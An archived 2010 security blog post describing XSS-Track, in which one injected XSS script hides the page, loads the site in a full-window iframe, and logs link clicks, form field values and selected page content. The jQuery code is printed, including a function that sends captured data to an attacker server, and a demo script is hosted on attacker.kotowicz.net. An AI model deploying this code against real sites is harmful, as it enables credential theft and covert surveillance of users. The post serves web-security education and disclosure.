

XSS-Track: How to quietly track a whole website through single XSS

XSS-Track: How to quietly track a whole website through single XSS - Author not stated, blog.kotowicz.net.

- Published: date not stated
- Original: <<http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html>>
- Preserved from: <http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html> (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

XSS is #1 threat in web application security. We all know it's pretty common, from time to time we encounter a website where a single input field is vulnerable. Happily we send out `alert(document.cookie)` only to find out that session cookie is [httpOnly](#) (it's a good sign!). On the other side we know that XSS gives us, white hats, an almost unlimited potential on how to alter the vulnerable page. We can:

- [deface it](#),
- steal user's form values
- redirect to form a [phishing attack](#)
- look at cookies
- try to send malware through a drive-by download attack
- and many more...

However, what to do if we found a vulnerability on *one* *page, and all the interesting things are on the *other page on the same domain? Say, the vulnerability is on <http://vulnerable.example.com/search> and we'd really like to steal user's credentials from <http://vulnerable.example.com/login-form>? Of course, with JS it's possible, but usually it's a difficult manual process to construct such payload. Today I'll present a way that makes it **dead easy** to:

- track user's actions on a vulnerable website (clicks, form submits),
- track outside links,
- monitor pages content and report any interesting HTML elements (e.g. the secret credentials)

All of this is possible **with a single injected script** - ****think **XSS-injected Google Analytics!** With just one XSS vulnerability on any page an attacker gets information about all browsing actions of

unsuspecting user. Demo inside!

[]()

Disclaimer

In this post I will present a project for **EDUCATIONAL USE ONLY!** I'm a white hat, I only hack websites I have permissions to. If you're a pentester and you'd like to use the project presented here in your work, please [contact me](#). If you're a script-kiddie and you'd like to use that for malicious purposes - stay away - I mean it!

I will survive!

Having found a XSS vulnerability, we basically run a script on a vulnerable page. But if user navigates away from that page, by e.g. clicking a link, the browser will fetch another page that doesn't have our XSS payload, so the payload "dies". To be able to survive this, our XSS needs to become persistent.

What would survive reloading the document in a window? Another window - or an embedding frame. If you have a website that is rendered in `<iframe>`, clicking the links reloads the iframe, but doesn't touch the embedding content. For example, clicking a facebook "like" button on a website only changes the button to "unlike", because it's embedded in an iframe with `src=http://www.facebook.com/whatever`.

| [\[\[image: image\]\]](#)

(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi_5TofO2jeFODext6XTWPB1tJnyCM92jizHQaEYCUUp3qs7ACMi8YywuQTaUQsmRZJQ5nZKMcCTJZ5ESR-OBRwaSzehLE6QhoUie7aydGi0ixVZiMOct9W_xQ60kUxHXMUKndNCU6bCbs/s1600/facebook-like-iframe.png) | | | Iframe used by Facebook | |

So if XSS payload could create an iframe with URL of *any* page from a vulnerable website (more on that later) and entice a user to click in the iframe instead of in our vulnerable page, the injected script would be still active, as his actions would reload the iframe content* only* (unless the website is [frame busting](#), but there are [ways around that](#)).

Stealth mode

But no user is dumb enough to not suspect something when he's given a frame mixed with original page content. So to trick user, it would be best if our iframe took full amount of space (100% width, 100% height), borderless, and all other original content was hidden. In the effect we would have an iframe put on top of the page with target content covering up everything.

Sort of like clickjacking, but reverse, as we want the user to SEE the frame instead of everything else (in clickjacking we'd really like user to *not* see the iframe).

Everything is ready

We now have the framework for invisible persistent XSS. We have one vulnerable page on a website, and we inject there a script that:

- hides every visible content (e.g. CSS display: none)
- creates an iframe covering full browser window
- loads any page from the vulnerable domain into the iframe

Here's the code for that (jQuery):

```
$('#body').children().hide();
$('<iframe>')
  .css({
    position: 'absolute',
    width: '100%',
    height: '100%',
    top: 0,
    left: 0,
    border: 0,
    background: '#fff'
  })
  .attr('src', 'http://example.com')
  .appendTo('body');
```

The whole setup looks like in the diagram below:

| [\[\[image: image\]\]](#)

(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy6okcSTxL6Hvdka9LQINobo1kZlvRiPDKMde7Tds_co6JrI1P0XRAepdcWCbEmfui0etmJg8HoviZYx8uJXegqJkiJ_Allu-Cc-KC4QBIOAFmgmnsnNAZy6nN48MB7dFyeErJBvLk/s1600/text12364-2.png) | | | XSS-Track - Step 1: iframe creation | |

For the user it looks as if he's browsing the website, but he's browsing our target iframe instead, and the injected script safely runs in a "parent" window. Our payload survives.

Now it's time for the script to actually do something interesting...

On load

As our iframe URL is on the same domain as the page with our script, no [same-origin restrictions](#) apply. So we have full access to our iframe DOM, and we can do everything :) To be able to easily hook up our code, we'll use iframe onload event. Everytime the frame reloads (e.g. because user clicks a link or the form is submitted), the onload event fires, so we could perform some actions on each new website page.

```
$('#<iframe>').load(function() {  
    // we can do whatever we want:  
    // we have our window  
    this.contentWindow;  
    // and document  
    this.contentDocument;  
});
```

Hijacking links & forms

First let's try to hijack all links and forms on the page. We want to watch for (and report) all form inputs and all link clicks on the website. With [jQuery](#) goodness this is trivial (I once wrote [jQuery hijack plugin](#) that does similar things for website developers convenience):

```
// hijack links and forms  
$('body',this.contentDocument)  
    .find('a')  
        .click(function() {  
            log({event:'click', 'from': location, 'href': this.href, 'target': this.target});  
        })  
    .end()  
    .find('form')  
        .submit(function() {  
            log({event: 'submit',  
                from: location,  
                action: $(this).attr('action') || location,  
                fields: $(this).serialize()  
            });  
        })  
    .end();
```

We find every link in newly loaded page, attach to its onclick event, quietly logging it once clicked. Same goes for every form submit (we're logging form input values). **Update: **Now in newer browsers, [XSS-Track can also capture files](#) that you upload to a monitored site.

Monitoring content

Of course, this is not enough for us. What if we're interested in some secret data displayed on some page after logging in? E.g. some shared secret is displayed to the user and we would like to somehow extract it. Again, jQuery to our rescue. We'll try to find HTML elements using any [jQuery selector](#) and, if found, we log it's HTML code.

```

if ($(observeSelector, this.contentDocument).length) {
  // we found the selector
  $(observeSelector, this.contentDocument).each(function() {
    var clone = $(this).clone();
    log({event: 'found',
      selector: observeSelector,
      from: location,
      // outerHTML emulation
      'content': clone.wrap('<div>').parent().html()
    });
    clone.remove();
  })
}

```

Other features

In supporting browsers, [XSS-Track can now sniff WebSockets traffic](#).

Logging and reporting framework

The log function can do (almost) anything. For now, it just tries to report the data to an external server, using AJAX and if this fails (and it will until Cross Domain XHR will come), using external image URL. The logs are gathered by [log.php](#) script and are displayed in [show.php](#).

```

function log(what) {
  what["_"] = Math.random(); // avoid caching
  try {
    $.get(logUrl, what); // try with ajax first,
                        // but you might get into
                        // cross domain issues
                        // on older browsers (or IE)
  } catch (e) {
    // image
    var i = new Image();
    // encode to avoid adblock plus filters
    i.src = logUrl + '?' + encodeURIComponent($.param(what));
    $(i).load(function() {$(this).remove();}).appendTo('body');
  }
};

```

The full setup works like this:

| 

(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4HUh7aHV8Fn3kOpbPBJJ957BdXg3KNZwSf5BODGw9UeprQnPK9IDkbEmUqbsnqthEWc4nzX0XR3_rFNqF02my5XceJuc-fDf0wMVc4zh6NJQA0liiQ2Cxxx2OTbloJtDOZoZQrF9t7Pc/s1600/text12364.png) | | XSS-track - Complete set up | |

Weak points

- Once a user navigates to external website, we can only know it's URL, but further tracking stops (same origin restrictions prevent us to access iframe document from a different domain)
- Same goes for opening a link in new tab, or using `window.open()`
- The URL address bar never changes (but I have some ideas for this :) - now it is [solved in HTML5 browsers](#)

Demonstration

I've set up a simple vulnerable application at <http://victim.kotowicz.net/xss-track/vuln/> - just find any XSS vuln and try to inject a <http://attacker.kotowicz.net/xss-track/track.js> script. The results logged will be available under <http://attacker.kotowicz.net/xss-track/show.php>. To clear the logs, append `?clear=1` to `show.php` URL.

The vulnerable application has a reflected XSS, so don't bother to try it in MSIE 8+ (or, if you succeed, please let me know ;)).

The script URL itself accepts parameters that can help you tune it's workings, the full docs are in the [source code](#). For example, you can use <http://attacker.kotowicz.net/xss-track/track.js?observe=.secret> parameter to look for `$('.secret')` (elements with HTML class `secret`) in loaded pages.

****Update:** ******For debugging, you can now add `debug=1` parameter to script URL - instead of logging to a remote backend it will just `console.log()` all reports for you.

As always, full code of the vulnerable application and XSS-Track project is available on [github repository](#). Once again, it's for educational use **only**!

Let me know how do you find this project, either in the comments or [privately](#).